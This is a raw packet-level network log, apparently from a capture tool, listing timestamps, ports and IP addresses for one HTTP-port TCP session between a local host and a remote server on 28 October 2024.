Oct 28, 2024 08:17:39.544739962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544799089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.544806004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.544975042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545021057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545025110 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545052052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545063972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545073986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545083046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545083046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545088053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545099974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545104980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545116901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545129061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545137882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545137882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545140028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545177937 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545198917 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545201063 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545211077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545265913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545413971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545460939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545473099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545478106 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545484066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545505047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545505047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545542002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545548916 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545561075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545586109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545605898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545614004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545627117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545638084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545653105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545682907 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545700073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545711994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545722961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545747042 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545751095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545773029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545794964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545799971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545820951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545835972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545845985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545849085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545862913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545881987 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545907021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545918941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.545972109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.545989990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546000004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546010971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546029091 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546039104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546051025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546056986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546066046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546103954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546103954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546293974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546305895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546317101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546361923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546363115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546363115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546374083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546401978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546430111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546449900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546463013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546473026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546485901 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546490908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546505928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546526909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546742916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546756029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546766043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.546778917 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.546814919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548507929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548588991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548602104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548613071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548635960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548644066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548648119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548659086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548671007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548680067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548680067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548682928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548695087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548719883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548719883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548749924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548760891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548770905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548783064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548787117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548787117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548794985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548805952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548811913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548811913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548824072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548841000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548866034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548866034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548866034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548877001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548888922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548893929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548906088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548935890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.548966885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548979044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.548990011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549001932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549012899 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549020052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549025059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549036026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549041033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549053907 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549077988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549103975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549130917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549148083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549160957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549173117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549184084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549196959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549201965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549201965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549232960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549232960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549252987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549264908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549276114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549288034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549319029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549319029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549338102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549349070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549360037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.549384117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549384117 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.549423933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.586791992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.586806059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.586816072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.586921930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587553024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587563038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587573051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587621927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587634087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587635040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587635040 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587721109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587733030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587743044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587754011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587776899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587784052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587795019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587795973 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587805986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.587843895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587843895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.587928057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.588241100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.588288069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.588299036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.588310003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.588346004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.589776993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.589792967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.589804888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.589871883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.589871883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.629395962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.629414082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.629427910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.629440069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.629496098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.629729986 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.630458117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.630467892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.630479097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.630489111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.630534887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.630534887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.666856050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.666881084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.666894913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.666950941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667025089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667054892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667071104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667073965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667082071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667093039 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667094946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667108059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667119980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667124033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667125940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667139053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667179108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667179108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667185068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667198896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667211056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667223930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667237043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667243004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667254925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667279959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667418003 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667433023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667438984 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667444944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667457104 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667468071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667479992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667491913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667505980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667505980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667517900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667529106 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667530060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667542934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667555094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667572021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667572021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667587996 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667594910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667610884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667623043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667630911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667634964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667646885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667658091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667665005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667665005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667673111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667685032 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667694092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667696953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667701006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667709112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667718887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667732954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667747974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667769909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667769909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667927027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667937040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667947054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667958021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667969942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.667983055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667983055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.667992115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668004036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668014050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668025970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668035984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.668035984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.668037891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668049097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668061972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668072939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668073893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.668073893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.668086052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.668108940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.668108940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.668175936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.668216944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669748068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669760942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669771910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669819117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669823885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.669831991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669842958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669863939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669879913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669895887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.669895887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.669895887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.669912100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669929981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669933081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.669940948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.669974089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.669996977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670058966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670069933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670080900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670093060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670104980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670121908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670121908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670136929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670195103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670207977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670219898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670231104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670232058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670243025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670248985 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670254946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670267105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670268059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670279026 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670290947 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670300007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670300007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670393944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670406103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670418024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670429945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670454979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670492887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.670547009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670558929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.670573950 CET	80	49766	185.215.113.206	192.168.2.4
